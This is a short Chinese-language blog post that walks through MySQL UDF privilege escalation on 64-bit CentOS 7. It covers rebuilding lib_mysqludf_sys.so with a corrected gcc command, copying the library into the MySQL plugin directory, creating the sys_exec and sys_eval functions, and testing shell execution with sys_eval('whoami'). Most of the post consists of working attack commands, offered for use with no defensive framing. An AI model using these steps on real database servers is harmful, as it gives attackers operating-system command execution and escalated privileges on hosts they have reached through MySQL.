linux centos 7 64位 安装mysql udf 提权 mysql 触发器执行shell命令
作者:admin 发布于:2019-8-25 13:10 Sunday
分类:Linux
项目里有编译好的lib_mysqludf_sys.so文件,不过项目比较老旧了,此so文件只适合32位的linux
强行在64位上使用,只会让你更加尴尬
这是我编译后和项目自带的so为文件对比
首先需要先复制so文件到指定位置:
cp lib_mysqludf_sys.so /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so
在32位linux下安装命令:
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
如果想在64位linux下使用需要自己下载源码编译
//此项目给的编译命令也已经过时
//这是makefile中的命令
gcc -Wall -I /usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so
//正确的命令
gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I /usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
在使用源码编译时,可能会遇到缺少库的情况,比如:
lib_mysqludf_sys.c:fatal error: my_global.h: No such file or directory
此时需要先安装
yum install mysql-devel
#apt-get install libmysqld-dev
另外附两条查看so导出函数的命令:
objdump -tT lib_mysqludf_sys.so
nm -Dlib_mysqludf_sys.so.so
执行命令测试一下吧
sys_eval('whoami')
命令能否执行成功,取决于mysql运行的用户权限!
昵称***(必填)
邮箱(选填,填写后您会收到我的回复!)
网址(选填,填写后本人回访哦!)